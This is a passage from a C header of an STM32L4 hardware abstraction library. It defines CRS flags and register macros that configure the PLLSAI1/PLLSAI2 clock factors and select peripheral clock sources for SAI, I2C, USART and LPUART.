underflow */ /** * @} */ /** @defgroup RCCEx_CRS_Flags RCCEx CRS Flags * @{ */ #define RCC_CRS_FLAG_SYNCOK CRS_ISR_SYNCOKF /*!< SYNC event OK flag */ #define RCC_CRS_FLAG_SYNCWARN CRS_ISR_SYNCWARNF /*!< SYNC warning flag */ #define RCC_CRS_FLAG_ERR CRS_ISR_ERRF /*!< Error flag */ #define RCC_CRS_FLAG_ESYNC CRS_ISR_ESYNCF /*!< Expected SYNC flag */ #define RCC_CRS_FLAG_SYNCERR CRS_ISR_SYNCERR /*!< SYNC error */ #define RCC_CRS_FLAG_SYNCMISS CRS_ISR_SYNCMISS /*!< SYNC missed*/ #define RCC_CRS_FLAG_TRIMOVF CRS_ISR_TRIMOVF /*!< Trimming overflow or underflow */ /** * @} */ #endif /* CRS */ /** * @} */ /* Exported macros -----------------------------------------------------------*/ /** @defgroup RCCEx_Exported_Macros RCCEx Exported Macros * @{ */ /** * @brief Macro to configure the PLLSAI1 clock multiplication and division factors. * * @note This function must be used only when the PLLSAI1 is disabled. * @note PLLSAI1 clock source is common with the main PLL (configured through * __HAL_RCC_PLL_CONFIG() macro) * * @param __PLLSAI1N__ specifies the multiplication factor for PLLSAI1 VCO output clock. * This parameter must be a number between 8 and 86. * @note You have to set the PLLSAI1N parameter correctly to ensure that the VCO * output frequency is between 64 and 344 MHz. * PLLSAI1 clock frequency = f(PLLSAI1) multiplied by PLLSAI1N * * @param __PLLSAI1P__ specifies the division factor for SAI clock. * This parameter must be a number in the range (7 or 17) for STM32L47xxx/L48xxx * else (2 to 31). * SAI1 clock frequency = f(PLLSAI1) / PLLSAI1P * * @param __PLLSAI1Q__ specifies the division factor for USB/RNG/SDMMC1 clock. * This parameter must be in the range (2, 4, 6 or 8). * USB/RNG/SDMMC1 clock frequency = f(PLLSAI1) / PLLSAI1Q * * @param __PLLSAI1R__ specifies the division factor for SAR ADC clock. * This parameter must be in the range (2, 4, 6 or 8). * ADC clock frequency = f(PLLSAI1) / PLLSAI1R * * @retval None */ #if defined(RCC_PLLSAI1P_DIV_2_31_SUPPORT) #define __HAL_RCC_PLLSAI1_CONFIG(__PLLSAI1N__, __PLLSAI1P__, __PLLSAI1Q__, __PLLSAI1R__) \ WRITE_REG(RCC->PLLSAI1CFGR, ((__PLLSAI1N__) << POSITION_VAL(RCC_PLLSAI1CFGR_PLLSAI1N)) | \ ((((__PLLSAI1Q__) >> 1U) - 1U) << POSITION_VAL(RCC_PLLSAI1CFGR_PLLSAI1Q)) | \ ((((__PLLSAI1R__) >> 1U) - 1U) << POSITION_VAL(RCC_PLLSAI1CFGR_PLLSAI1R)) | \ ((__PLLSAI1P__) << POSITION_VAL(RCC_PLLSAI1CFGR_PLLSAI1PDIV))) #else #define __HAL_RCC_PLLSAI1_CONFIG(__PLLSAI1N__, __PLLSAI1P__, __PLLSAI1Q__, __PLLSAI1R__) \ WRITE_REG(RCC->PLLSAI1CFGR, ((__PLLSAI1N__) << POSITION_VAL(RCC_PLLSAI1CFGR_PLLSAI1N)) | \ (((__PLLSAI1P__) >> 4U) << POSITION_VAL(RCC_PLLSAI1CFGR_PLLSAI1P)) | \ ((((__PLLSAI1Q__) >> 1U) - 1U) << POSITION_VAL(RCC_PLLSAI1CFGR_PLLSAI1Q)) | \ ((((__PLLSAI1R__) >> 1U) - 1U) << POSITION_VAL(RCC_PLLSAI1CFGR_PLLSAI1R))) #endif /* RCC_PLLSAI1P_DIV_2_31_SUPPORT */ /** * @brief Macro to configure the PLLSAI1 clock multiplication factor N. * * @note This function must be used only when the PLLSAI1 is disabled. * @note PLLSAI1 clock source is common with the main PLL (configured through * __HAL_RCC_PLL_CONFIG() macro) * * @param __PLLSAI1N__ specifies the multiplication factor for PLLSAI1 VCO output clock. * This parameter must be a number between 8 and 86. * @note You have to set the PLLSAI1N parameter correctly to ensure that the VCO * output frequency is between 64 and 344 MHz. * Use to set PLLSAI1 clock frequency = f(PLLSAI1) multiplied by PLLSAI1N * * @retval None */ #define __HAL_RCC_PLLSAI1_MULN_CONFIG(__PLLSAI1N__) \ MODIFY_REG(RCC->PLLSAI1CFGR, RCC_PLLSAI1CFGR_PLLSAI1N, (__PLLSAI1N__) << POSITION_VAL(RCC_PLLSAI1CFGR_PLLSAI1N)) /** @brief Macro to configure the PLLSAI1 clock division factor P. * * @note This function must be used only when the PLLSAI1 is disabled. * @note PLLSAI1 clock source is common with the main PLL (configured through * __HAL_RCC_PLL_CONFIG() macro) * * @param __PLLSAI1P__ specifies the division factor for SAI clock. * This parameter must be a number in the range (7 or 17) for STM32L47xxx/L48xxx * else (2 to 31). * Use to set SAI1 clock frequency = f(PLLSAI1) / PLLSAI1P * * @retval None */ #if defined(RCC_PLLSAI1P_DIV_2_31_SUPPORT) #define __HAL_RCC_PLLSAI1_DIVP_CONFIG(__PLLSAI1P__) \ MODIFY_REG(RCC->PLLSAI1CFGR, RCC_PLLSAI1CFGR_PLLSAI1PDIV, (__PLLSAI1P__) << POSITION_VAL(RCC_PLLSAI1CFGR_PLLSAI1PDIV)) #else #define __HAL_RCC_PLLSAI1_DIVP_CONFIG(__PLLSAI1P__) \ MODIFY_REG(RCC->PLLSAI1CFGR, RCC_PLLSAI1CFGR_PLLSAI1P, ((__PLLSAI1P__) >> 4U) << POSITION_VAL(RCC_PLLSAI1CFGR_PLLSAI1P)) #endif /* RCC_PLLSAI1P_DIV_2_31_SUPPORT */ /** @brief Macro to configure the PLLSAI1 clock division factor Q. * * @note This function must be used only when the PLLSAI1 is disabled. * @note PLLSAI1 clock source is common with the main PLL (configured through * __HAL_RCC_PLL_CONFIG() macro) * * @param __PLLSAI1Q__ specifies the division factor for USB/RNG/SDMMC1 clock. * This parameter must be in the range (2, 4, 6 or 8). * Use to set USB/RNG/SDMMC1 clock frequency = f(PLLSAI1) / PLLSAI1Q * * @retval None */ #define __HAL_RCC_PLLSAI1_DIVQ_CONFIG(__PLLSAI1Q__) \ MODIFY_REG(RCC->PLLSAI1CFGR, RCC_PLLSAI1CFGR_PLLSAI1Q, (((__PLLSAI1Q__) >> 1U) - 1U) << POSITION_VAL(RCC_PLLSAI1CFGR_PLLSAI1Q)) /** @brief Macro to configure the PLLSAI1 clock division factor R. * * @note This function must be used only when the PLLSAI1 is disabled. * @note PLLSAI1 clock source is common with the main PLL (configured through * __HAL_RCC_PLL_CONFIG() macro) * * @param __PLLSAI1R__ specifies the division factor for ADC clock. * This parameter must be in the range (2, 4, 6 or 8) * Use to set ADC clock frequency = f(PLLSAI1) / PLLSAI1R * * @retval None */ #define __HAL_RCC_PLLSAI1_DIVR_CONFIG(__PLLSAI1R__) \ MODIFY_REG(RCC->PLLSAI1CFGR, RCC_PLLSAI1CFGR_PLLSAI1R, (((__PLLSAI1R__) >> 1U) - 1U) << POSITION_VAL(RCC_PLLSAI1CFGR_PLLSAI1R)) /** * @brief Macros to enable or disable the PLLSAI1. * @note The PLLSAI1 is disabled by hardware when entering STOP and STANDBY modes. * @retval None */ #define __HAL_RCC_PLLSAI1_ENABLE() SET_BIT(RCC->CR, RCC_CR_PLLSAI1ON) #define __HAL_RCC_PLLSAI1_DISABLE() CLEAR_BIT(RCC->CR, RCC_CR_PLLSAI1ON) /** * @brief Macros to enable or disable each clock output (PLLSAI1_SAI1, PLLSAI1_USB2 and PLLSAI1_ADC1). * @note Enabling and disabling those clocks can be done without the need to stop the PLL. * This is mainly used to save Power. * @param __PLLSAI1_CLOCKOUT__ specifies the PLLSAI1 clock to be output. * This parameter can be one or a combination of the following values: * @arg @ref RCC_PLLSAI1_SAI1CLK This clock is used to generate an accurate clock to achieve * high-quality audio performance on SAI interface in case. * @arg @ref RCC_PLLSAI1_48M2CLK This clock is used to generate the clock for the USB OTG FS (48 MHz), * the random number generator (<=48 MHz) and the SDIO (<= 48 MHz). * @arg @ref RCC_PLLSAI1_ADC1CLK Clock used to clock ADC peripheral. * @retval None */ #define __HAL_RCC_PLLSAI1CLKOUT_ENABLE(__PLLSAI1_CLOCKOUT__) SET_BIT(RCC->PLLSAI1CFGR, (__PLLSAI1_CLOCKOUT__)) #define __HAL_RCC_PLLSAI1CLKOUT_DISABLE(__PLLSAI1_CLOCKOUT__) CLEAR_BIT(RCC->PLLSAI1CFGR, (__PLLSAI1_CLOCKOUT__)) /** * @brief Macro to get clock output enable status (PLLSAI1_SAI1, PLLSAI1_USB2 and PLLSAI1_ADC1). * @param __PLLSAI1_CLOCKOUT__ specifies the PLLSAI1 clock to be output. * This parameter can be one of the following values: * @arg @ref RCC_PLLSAI1_SAI1CLK This clock is used to generate an accurate clock to achieve * high-quality audio performance on SAI interface in case. * @arg @ref RCC_PLLSAI1_48M2CLK This clock is used to generate the clock for the USB OTG FS (48 MHz), * the random number generator (<=48 MHz) and the SDIO (<= 48 MHz). * @arg @ref RCC_PLLSAI1_ADC1CLK Clock used to clock ADC peripheral. * @retval SET / RESET */ #define __HAL_RCC_GET_PLLSAI1CLKOUT_CONFIG(__PLLSAI1_CLOCKOUT__) READ_BIT(RCC->PLLSAI1CFGR, (__PLLSAI1_CLOCKOUT__)) #if defined(RCC_PLLSAI2_SUPPORT) /** * @brief Macro to configure the PLLSAI2 clock multiplication and division factors. * * @note This function must be used only when the PLLSAI2 is disabled. * @note PLLSAI2 clock source is common with the main PLL (configured through * __HAL_RCC_PLL_CONFIG() macro) * * @param __PLLSAI2N__ specifies the multiplication factor for PLLSAI2 VCO output clock. * This parameter must be a number between 8 and 86. * @note You have to set the PLLSAI2N parameter correctly to ensure that the VCO * output frequency is between 64 and 344 MHz. * * @param __PLLSAI2P__ specifies the division factor for SAI clock. * This parameter must be a number in the range (7 or 17) for STM32L47xxx/L48xxx * else (2 to 31). * SAI2 clock frequency = f(PLLSAI2) / PLLSAI2P * * @param __PLLSAI2R__ specifies the division factor for SAR ADC clock. * This parameter must be in the range (2, 4, 6 or 8). * * @retval None */ #if defined(RCC_PLLSAI2P_DIV_2_31_SUPPORT) #define __HAL_RCC_PLLSAI2_CONFIG(__PLLSAI2N__, __PLLSAI2P__, __PLLSAI2R__) \ WRITE_REG(RCC->PLLSAI2CFGR, ((__PLLSAI2N__) << POSITION_VAL(RCC_PLLSAI2CFGR_PLLSAI2N)) | \ ((((__PLLSAI2R__) >> 1U) - 1U) << POSITION_VAL(RCC_PLLSAI2CFGR_PLLSAI2R)) | \ ((__PLLSAI2P__) << POSITION_VAL(RCC_PLLSAI2CFGR_PLLSAI2PDIV))) #else #define __HAL_RCC_PLLSAI2_CONFIG(__PLLSAI2N__, __PLLSAI2P__, __PLLSAI2R__) \ WRITE_REG(RCC->PLLSAI2CFGR, ((__PLLSAI2N__) << POSITION_VAL(RCC_PLLSAI2CFGR_PLLSAI2N)) | \ (((__PLLSAI2P__) >> 4U) << POSITION_VAL(RCC_PLLSAI2CFGR_PLLSAI2P)) | \ ((((__PLLSAI2R__) >> 1U) - 1U) << POSITION_VAL(RCC_PLLSAI2CFGR_PLLSAI2R))) #endif /* RCC_PLLSAI2P_DIV_2_31_SUPPORT */ /** * @brief Macro to configure the PLLSAI2 clock multiplication factor N. * * @note This function must be used only when the PLLSAI2 is disabled. * @note PLLSAI2 clock source is common with the main PLL (configured through * __HAL_RCC_PLL_CONFIG() macro) * * @param __PLLSAI2N__ specifies the multiplication factor for PLLSAI2 VCO output clock. * This parameter must be a number between 8 and 86. * @note You have to set the PLLSAI2N parameter correctly to ensure that the VCO * output frequency is between 64 and 344 MHz. * PLLSAI1 clock frequency = f(PLLSAI1) multiplied by PLLSAI2N * * @retval None */ #define __HAL_RCC_PLLSAI2_MULN_CONFIG(__PLLSAI2N__) \ MODIFY_REG(RCC->PLLSAI2CFGR, RCC_PLLSAI2CFGR_PLLSAI2N, (__PLLSAI2N__) << POSITION_VAL(RCC_PLLSAI2CFGR_PLLSAI2N)) /** @brief Macro to configure the PLLSAI2 clock division factor P. * * @note This function must be used only when the PLLSAI2 is disabled. * @note PLLSAI2 clock source is common with the main PLL (configured through * __HAL_RCC_PLL_CONFIG() macro) * * @param __PLLSAI2P__ specifies the division factor. * This parameter must be a number in the range (7 or 17). * Use to set SAI2 clock frequency = f(PLLSAI2) / __PLLSAI2P__ * * @retval None */ #define __HAL_RCC_PLLSAI2_DIVP_CONFIG(__PLLSAI2P__) \ MODIFY_REG(RCC->PLLSAI2CFGR, RCC_PLLSAI2CFGR_PLLSAI2P, ((__PLLSAI2P__) >> 4U) << POSITION_VAL(RCC_PLLSAI2CFGR_PLLSAI2P)) /** @brief Macro to configure the PLLSAI2 clock division factor R. * * @note This function must be used only when the PLLSAI2 is disabled. * @note PLLSAI2 clock source is common with the main PLL (configured through * __HAL_RCC_PLL_CONFIG() macro) * * @param __PLLSAI2R__ specifies the division factor. * This parameter must be in the range (2, 4, 6 or 8). * Use to set ADC clock frequency = f(PLLSAI2) / __PLLSAI2R__ * * @retval None */ #define __HAL_RCC_PLLSAI2_DIVR_CONFIG(__PLLSAI2R__) \ MODIFY_REG(RCC->PLLSAI2CFGR, RCC_PLLSAI2CFGR_PLLSAI2R, (((__PLLSAI2R__) >> 1U) - 1U) << POSITION_VAL(RCC_PLLSAI2CFGR_PLLSAI2R)) /** * @brief Macros to enable or disable the PLLSAI2. * @note The PLLSAI2 is disabled by hardware when entering STOP and STANDBY modes. * @retval None */ #define __HAL_RCC_PLLSAI2_ENABLE() SET_BIT(RCC->CR, RCC_CR_PLLSAI2ON) #define __HAL_RCC_PLLSAI2_DISABLE() CLEAR_BIT(RCC->CR, RCC_CR_PLLSAI2ON) /** * @brief Macros to enable or disable each clock output (PLLSAI2_SAI2 and PLLSAI2_ADC2). * @note Enabling and disabling those clocks can be done without the need to stop the PLL. * This is mainly used to save Power. * @param __PLLSAI2_CLOCKOUT__ specifies the PLLSAI2 clock to be output. * This parameter can be one or a combination of the following values: * @arg @ref RCC_PLLSAI2_SAI2CLK This clock is used to generate an accurate clock to achieve * high-quality audio performance on SAI interface in case. * @arg @ref RCC_PLLSAI2_ADC2CLK Clock used to clock ADC peripheral. * @retval None */ #define __HAL_RCC_PLLSAI2CLKOUT_ENABLE(__PLLSAI2_CLOCKOUT__) SET_BIT(RCC->PLLSAI2CFGR, (__PLLSAI2_CLOCKOUT__)) #define __HAL_RCC_PLLSAI2CLKOUT_DISABLE(__PLLSAI2_CLOCKOUT__) CLEAR_BIT(RCC->PLLSAI2CFGR, (__PLLSAI2_CLOCKOUT__)) /** * @brief Macro to get clock output enable status (PLLSAI2_SAI2 and PLLSAI2_ADC2). * @param __PLLSAI2_CLOCKOUT__ specifies the PLLSAI2 clock to be output. * This parameter can be one of the following values: * @arg @ref RCC_PLLSAI2_SAI2CLK This clock is used to generate an accurate clock to achieve * high-quality audio performance on SAI interface in case. * @arg @ref RCC_PLLSAI2_ADC2CLK Clock used to clock ADC peripheral. * @retval SET / RESET */ #define __HAL_RCC_GET_PLLSAI2CLKOUT_CONFIG(__PLLSAI2_CLOCKOUT__) READ_BIT(RCC->PLLSAI2CFGR, (__PLLSAI2_CLOCKOUT__)) #endif /* RCC_PLLSAI2_SUPPORT */ /** * @brief Macro to configure the SAI1 clock source. * @param __SAI1_CLKSOURCE__ defines the SAI1 clock source. This clock is derived * from the PLLSAI1, system PLL or external clock (through a dedicated pin). * This parameter can be one of the following values: * @arg @ref RCC_SAI1CLKSOURCE_PLLSAI1 SAI1 clock = PLLSAI1 "P" clock (PLLSAI1CLK) @if STM32L486xx * @arg @ref RCC_SAI1CLKSOURCE_PLLSAI2 SAI1 clock = PLLSAI2 "P" clock (PLLSAI2CLK) for devices with PLLSAI2 @endif * @arg @ref RCC_SAI1CLKSOURCE_PLL SAI1 clock = PLL "P" clock (PLLSAI3CLK if PLLSAI2 exists, else PLLSAI2CLK) * @arg @ref RCC_SAI1CLKSOURCE_PIN SAI1 clock = External Clock (SAI1_EXTCLK) * @if STM32L443xx * @note HSI16 is automatically set as SAI1 clock source when PLL are disabled for devices without PLLSAI2. @endif * * @retval None */ #define __HAL_RCC_SAI1_CONFIG(__SAI1_CLKSOURCE__)\ MODIFY_REG(RCC->CCIPR, RCC_CCIPR_SAI1SEL, (uint32_t)(__SAI1_CLKSOURCE__)) /** @brief Macro to get the SAI1 clock source. * @retval The clock source can be one of the following values: * @arg @ref RCC_SAI1CLKSOURCE_PLLSAI1 SAI1 clock = PLLSAI1 "P" clock (PLLSAI1CLK) @if STM32L486xx * @arg @ref RCC_SAI1CLKSOURCE_PLLSAI2 SAI1 clock = PLLSAI2 "P" clock (PLLSAI2CLK) for devices with PLLSAI2 @endif * @arg @ref RCC_SAI1CLKSOURCE_PLL SAI1 clock = PLL "P" clock (PLLSAI3CLK if PLLSAI2 exists, else PLLSAI2CLK) * @arg @ref RCC_SAI1CLKSOURCE_PIN SAI1 clock = External Clock (SAI1_EXTCLK) * * @note Despite returned values RCC_SAI1CLKSOURCE_PLLSAI1 or RCC_SAI1CLKSOURCE_PLL, HSI16 is automatically set as SAI1 * clock source when PLLs are disabled for devices without PLLSAI2. * */ #define __HAL_RCC_GET_SAI1_SOURCE() ((uint32_t)(READ_BIT(RCC->CCIPR, RCC_CCIPR_SAI1SEL))) #if defined(SAI2) /** * @brief Macro to configure the SAI2 clock source. * @param __SAI2_CLKSOURCE__ defines the SAI2 clock source. This clock is derived * from the PLLSAI2, system PLL or external clock (through a dedicated pin). * This parameter can be one of the following values: * @arg @ref RCC_SAI2CLKSOURCE_PLLSAI1 SAI2 clock = PLLSAI1 "P" clock (PLLSAI1CLK) * @arg @ref RCC_SAI2CLKSOURCE_PLLSAI2 SAI2 clock = PLLSAI2 "P" clock (PLLSAI2CLK) * @arg @ref RCC_SAI2CLKSOURCE_PLL SAI2 clock = PLL "P" clock (PLLSAI3CLK) * @arg @ref RCC_SAI2CLKSOURCE_PIN SAI2 clock = External Clock (SAI2_EXTCLK) * * @retval None */ #define __HAL_RCC_SAI2_CONFIG(__SAI2_CLKSOURCE__ )\ MODIFY_REG(RCC->CCIPR, RCC_CCIPR_SAI2SEL, (uint32_t)(__SAI2_CLKSOURCE__)) /** @brief Macro to get the SAI2 clock source. * @retval The clock source can be one of the following values: * @arg @ref RCC_SAI2CLKSOURCE_PLLSAI1 SAI2 clock = PLLSAI1 "P" clock (PLLSAI1CLK) * @arg @ref RCC_SAI2CLKSOURCE_PLLSAI2 SAI2 clock = PLLSAI2 "P" clock (PLLSAI2CLK) * @arg @ref RCC_SAI2CLKSOURCE_PLL SAI2 clock = PLL "P" clock (PLLSAI3CLK) * @arg @ref RCC_SAI2CLKSOURCE_PIN SAI2 clock = External Clock (SAI2_EXTCLK) */ #define __HAL_RCC_GET_SAI2_SOURCE() ((uint32_t)(READ_BIT(RCC->CCIPR, RCC_CCIPR_SAI2SEL))) #endif /* SAI2 */ /** @brief Macro to configure the I2C1 clock (I2C1CLK). * * @param __I2C1_CLKSOURCE__ specifies the I2C1 clock source. * This parameter can be one of the following values: * @arg @ref RCC_I2C1CLKSOURCE_PCLK1 PCLK1 selected as I2C1 clock * @arg @ref RCC_I2C1CLKSOURCE_HSI HSI selected as I2C1 clock * @arg @ref RCC_I2C1CLKSOURCE_SYSCLK System Clock selected as I2C1 clock * @retval None */ #define __HAL_RCC_I2C1_CONFIG(__I2C1_CLKSOURCE__) \ MODIFY_REG(RCC->CCIPR, RCC_CCIPR_I2C1SEL, (uint32_t)(__I2C1_CLKSOURCE__)) /** @brief Macro to get the I2C1 clock source. * @retval The clock source can be one of the following values: * @arg @ref RCC_I2C1CLKSOURCE_PCLK1 PCLK1 selected as I2C1 clock * @arg @ref RCC_I2C1CLKSOURCE_HSI HSI selected as I2C1 clock * @arg @ref RCC_I2C1CLKSOURCE_SYSCLK System Clock selected as I2C1 clock */ #define __HAL_RCC_GET_I2C1_SOURCE() ((uint32_t)(READ_BIT(RCC->CCIPR, RCC_CCIPR_I2C1SEL))) #if defined(I2C2) /** @brief Macro to configure the I2C2 clock (I2C2CLK). * * @param __I2C2_CLKSOURCE__ specifies the I2C2 clock source. * This parameter can be one of the following values: * @arg @ref RCC_I2C2CLKSOURCE_PCLK1 PCLK1 selected as I2C2 clock * @arg @ref RCC_I2C2CLKSOURCE_HSI HSI selected as I2C2 clock * @arg @ref RCC_I2C2CLKSOURCE_SYSCLK System Clock selected as I2C2 clock * @retval None */ #define __HAL_RCC_I2C2_CONFIG(__I2C2_CLKSOURCE__) \ MODIFY_REG(RCC->CCIPR, RCC_CCIPR_I2C2SEL, (uint32_t)(__I2C2_CLKSOURCE__)) /** @brief Macro to get the I2C2 clock source. * @retval The clock source can be one of the following values: * @arg @ref RCC_I2C2CLKSOURCE_PCLK1 PCLK1 selected as I2C2 clock * @arg @ref RCC_I2C2CLKSOURCE_HSI HSI selected as I2C2 clock * @arg @ref RCC_I2C2CLKSOURCE_SYSCLK System Clock selected as I2C2 clock */ #define __HAL_RCC_GET_I2C2_SOURCE() ((uint32_t)(READ_BIT(RCC->CCIPR, RCC_CCIPR_I2C2SEL))) #endif /* I2C2 */ /** @brief Macro to configure the I2C3 clock (I2C3CLK). * * @param __I2C3_CLKSOURCE__ specifies the I2C3 clock source. * This parameter can be one of the following values: * @arg @ref RCC_I2C3CLKSOURCE_PCLK1 PCLK1 selected as I2C3 clock * @arg @ref RCC_I2C3CLKSOURCE_HSI HSI selected as I2C3 clock * @arg @ref RCC_I2C3CLKSOURCE_SYSCLK System Clock selected as I2C3 clock * @retval None */ #define __HAL_RCC_I2C3_CONFIG(__I2C3_CLKSOURCE__) \ MODIFY_REG(RCC->CCIPR, RCC_CCIPR_I2C3SEL, (uint32_t)(__I2C3_CLKSOURCE__)) /** @brief Macro to get the I2C3 clock source. * @retval The clock source can be one of the following values: * @arg @ref RCC_I2C3CLKSOURCE_PCLK1 PCLK1 selected as I2C3 clock * @arg @ref RCC_I2C3CLKSOURCE_HSI HSI selected as I2C3 clock * @arg @ref RCC_I2C3CLKSOURCE_SYSCLK System Clock selected as I2C3 clock */ #define __HAL_RCC_GET_I2C3_SOURCE() ((uint32_t)(READ_BIT(RCC->CCIPR, RCC_CCIPR_I2C3SEL))) /** @brief Macro to configure the USART1 clock (USART1CLK). * * @param __USART1_CLKSOURCE__ specifies the USART1 clock source. * This parameter can be one of the following values: * @arg @ref RCC_USART1CLKSOURCE_PCLK2 PCLK2 selected as USART1 clock * @arg @ref RCC_USART1CLKSOURCE_HSI HSI selected as USART1 clock * @arg @ref RCC_USART1CLKSOURCE_SYSCLK System Clock selected as USART1 clock * @arg @ref RCC_USART1CLKSOURCE_LSE SE selected as USART1 clock * @retval None */ #define __HAL_RCC_USART1_CONFIG(__USART1_CLKSOURCE__) \ MODIFY_REG(RCC->CCIPR, RCC_CCIPR_USART1SEL, (uint32_t)(__USART1_CLKSOURCE__)) /** @brief Macro to get the USART1 clock source. * @retval The clock source can be one of the following values: * @arg @ref RCC_USART1CLKSOURCE_PCLK2 PCLK2 selected as USART1 clock * @arg @ref RCC_USART1CLKSOURCE_HSI HSI selected as USART1 clock * @arg @ref RCC_USART1CLKSOURCE_SYSCLK System Clock selected as USART1 clock * @arg @ref RCC_USART1CLKSOURCE_LSE LSE selected as USART1 clock */ #define __HAL_RCC_GET_USART1_SOURCE() ((uint32_t)(READ_BIT(RCC->CCIPR, RCC_CCIPR_USART1SEL))) /** @brief Macro to configure the USART2 clock (USART2CLK). * * @param __USART2_CLKSOURCE__ specifies the USART2 clock source. * This parameter can be one of the following values: * @arg @ref RCC_USART2CLKSOURCE_PCLK1 PCLK1 selected as USART2 clock * @arg @ref RCC_USART2CLKSOURCE_HSI HSI selected as USART2 clock * @arg @ref RCC_USART2CLKSOURCE_SYSCLK System Clock selected as USART2 clock * @arg @ref RCC_USART2CLKSOURCE_LSE LSE selected as USART2 clock * @retval None */ #define __HAL_RCC_USART2_CONFIG(__USART2_CLKSOURCE__) \ MODIFY_REG(RCC->CCIPR, RCC_CCIPR_USART2SEL, (uint32_t)(__USART2_CLKSOURCE__)) /** @brief Macro to get the USART2 clock source. * @retval The clock source can be one of the following values: * @arg @ref RCC_USART2CLKSOURCE_PCLK1 PCLK1 selected as USART2 clock * @arg @ref RCC_USART2CLKSOURCE_HSI HSI selected as USART2 clock * @arg @ref RCC_USART2CLKSOURCE_SYSCLK System Clock selected as USART2 clock * @arg @ref RCC_USART2CLKSOURCE_LSE LSE selected as USART2 clock */ #define __HAL_RCC_GET_USART2_SOURCE() ((uint32_t)(READ_BIT(RCC->CCIPR, RCC_CCIPR_USART2SEL))) #if defined(USART3) /** @brief Macro to configure the USART3 clock (USART3CLK). * * @param __USART3_CLKSOURCE__ specifies the USART3 clock source. * This parameter can be one of the following values: * @arg @ref RCC_USART3CLKSOURCE_PCLK1 PCLK1 selected as USART3 clock * @arg @ref RCC_USART3CLKSOURCE_HSI HSI selected as USART3 clock * @arg @ref RCC_USART3CLKSOURCE_SYSCLK System Clock selected as USART3 clock * @arg @ref RCC_USART3CLKSOURCE_LSE LSE selected as USART3 clock * @retval None */ #define __HAL_RCC_USART3_CONFIG(__USART3_CLKSOURCE__) \ MODIFY_REG(RCC->CCIPR, RCC_CCIPR_USART3SEL, (uint32_t)(__USART3_CLKSOURCE__)) /** @brief Macro to get the USART3 clock source. * @retval The clock source can be one of the following values: * @arg @ref RCC_USART3CLKSOURCE_PCLK1 PCLK1 selected as USART3 clock * @arg @ref RCC_USART3CLKSOURCE_HSI HSI selected as USART3 clock * @arg @ref RCC_USART3CLKSOURCE_SYSCLK System Clock selected as USART3 clock * @arg @ref RCC_USART3CLKSOURCE_LSE LSE selected as USART3 clock */ #define __HAL_RCC_GET_USART3_SOURCE() ((uint32_t)(READ_BIT(RCC->CCIPR, RCC_CCIPR_USART3SEL))) #endif /* USART3 */ #if defined(UART4) /** @brief Macro to configure the UART4 clock (UART4CLK). * * @param __UART4_CLKSOURCE__ specifies the UART4 clock source. * This parameter can be one of the following values: * @arg @ref RCC_UART4CLKSOURCE_PCLK1 PCLK1 selected as UART4 clock * @arg @ref RCC_UART4CLKSOURCE_HSI HSI selected as UART4 clock * @arg @ref RCC_UART4CLKSOURCE_SYSCLK System Clock selected as UART4 clock * @arg @ref RCC_UART4CLKSOURCE_LSE LSE selected as UART4 clock * @retval None */ #define __HAL_RCC_UART4_CONFIG(__UART4_CLKSOURCE__) \ MODIFY_REG(RCC->CCIPR, RCC_CCIPR_UART4SEL, (uint32_t)(__UART4_CLKSOURCE__)) /** @brief Macro to get the UART4 clock source. * @retval The clock source can be one of the following values: * @arg @ref RCC_UART4CLKSOURCE_PCLK1 PCLK1 selected as UART4 clock * @arg @ref RCC_UART4CLKSOURCE_HSI HSI selected as UART4 clock * @arg @ref RCC_UART4CLKSOURCE_SYSCLK System Clock selected as UART4 clock * @arg @ref RCC_UART4CLKSOURCE_LSE LSE selected as UART4 clock */ #define __HAL_RCC_GET_UART4_SOURCE() ((uint32_t)(READ_BIT(RCC->CCIPR, RCC_CCIPR_UART4SEL))) #endif /* UART4 */ #if defined(UART5) /** @brief Macro to configure the UART5 clock (UART5CLK). * * @param __UART5_CLKSOURCE__ specifies the UART5 clock source. * This parameter can be one of the following values: * @arg @ref RCC_UART5CLKSOURCE_PCLK1 PCLK1 selected as UART5 clock * @arg @ref RCC_UART5CLKSOURCE_HSI HSI selected as UART5 clock * @arg @ref RCC_UART5CLKSOURCE_SYSCLK System Clock selected as UART5 clock * @arg @ref RCC_UART5CLKSOURCE_LSE LSE selected as UART5 clock * @retval None */ #define __HAL_RCC_UART5_CONFIG(__UART5_CLKSOURCE__) \ MODIFY_REG(RCC->CCIPR, RCC_CCIPR_UART5SEL, (uint32_t)(__UART5_CLKSOURCE__)) /** @brief Macro to get the UART5 clock source. * @retval The clock source can be one of the following values: * @arg @ref RCC_UART5CLKSOURCE_PCLK1 PCLK1 selected as UART5 clock * @arg @ref RCC_UART5CLKSOURCE_HSI HSI selected as UART5 clock * @arg @ref RCC_UART5CLKSOURCE_SYSCLK System Clock selected as UART5 clock * @arg @ref RCC_UART5CLKSOURCE_LSE LSE selected as UART5 clock */ #define __HAL_RCC_GET_UART5_SOURCE() ((uint32_t)(READ_BIT(RCC->CCIPR, RCC_CCIPR_UART5SEL))) #endif /* UART5 */ /** @brief Macro to configure the LPUART1 clock (LPUART1CLK). * * @param __LPUART1_CLKSOURCE__ specifies the LPUART1 clock source. * This parameter can be one of the following values: * @arg @ref RCC_LPUART1CLKSOURCE_PCLK1 PCLK1 selected as LPUART1 clock * @arg @ref RCC_LPUART1CLKSOURCE_HSI HSI selected as LPUART1 clock * @arg @ref RCC_LPUART1CLKSOURCE_SYSCLK System Clock selected as LPUART1 clock * @arg @ref RCC_LPUART1CLKSOURCE_LSE LSE selected as LPUART1 clock * @retval None */ #define __HAL_RCC_LPUART1_CONFIG(__LPUART1_CLKSOURCE__) \ MODIFY_REG(RCC->CCIPR, RCC_CCIPR_LPUART1SEL, (uint32_t)(__LPUART1_CLKSOURCE__)) /** @brief Macro to get the LPUART1 clock source. * @retval The clock source can be one of the following values: * @arg @ref RCC_LPUART1CLKSOURCE_PCLK1 PCLK1 selected as LPUART1 clock * @arg @ref RCC_LPUART1CLKSOURCE_HSI HSI selected as LPUART1 clock * @arg @ref RCC_LPUART1CLKSOURCE_SYSCLK System Clock selected as LPUART1 clock * @arg @ref RCC_LPUART1CLKSOURCE_LSE LSE selected as LPUART1 clock */ #define __HAL_RCC_GET_LPUART1_SOURCE() ((uint32_t)(READ_BIT(RCC->CCIPR, RCC_CCIPR_LPUART1SEL))) /** @brief Macro to configure the LPTIM1 clock (LPTIM1CLK). * * @param __LPTIM1_CLKSOURCE__ specifies the LPTIM1 clock source. * This parameter can be one of the following values: * @arg @ref RCC_LPTIM1CLKSOURCE_PCLK PCLK selected as 